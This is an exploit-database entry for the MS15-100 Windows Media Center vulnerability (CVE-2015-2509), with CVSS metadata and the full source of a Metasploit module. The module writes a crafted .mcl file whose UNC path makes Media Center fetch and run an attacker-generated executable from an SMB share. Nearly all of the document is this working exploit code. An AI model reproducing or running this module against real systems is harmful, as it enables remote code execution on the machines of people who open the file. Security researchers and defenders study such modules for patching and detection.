Microsoft Windows Media Center MCL Code Execution

2015.09.15
Credit: sinn3r
Risk: High
Local: Yes
Remote: No
CWE: CWE-284


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE include Msf::Exploit::Remote::SMB::Server::Share def initialize(info={}) super(update_info(info, 'Name' => "MS15-100 Microsoft Windows Media Center MCL Vulnerability", 'Description' => %q{ This module exploits a vulnerability in Windows Media Center. By supplying an UNC path in the *.mcl file, a remote file will be automatically downloaded, which can result in arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r', ], 'References' => [ ['CVE', '2015-2509'], ['MSB', 'MS15-100'] ], 'Payload' => { 'DisableNops' => true }, 'DefaultOptions' => { 'DisablePayloadHandler' => 'false' }, 'Platform' => 'win', 'Targets' => [ ['Windows', {}], ], 'Privileged' => false, 'DisclosureDate' => "Sep 8 2015", 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The MCL file', 'msf.mcl']), OptString.new('FILE_NAME', [ false, 'The name of the malicious payload to execute', 'msf.exe']) ], self.class) deregister_options('FILE_CONTENTS') end def generate_mcl %Q|<application run="#{unc}" />| end def primer self.file_contents = generate_payload_exe print_status("Malicious executable at #{unc}...") print_status("Creating '#{datastore['FILENAME']}' file ...") mcl = generate_mcl file_create(mcl) end end

References:

https://cxsecurity.com/issue/WLB-2015090074


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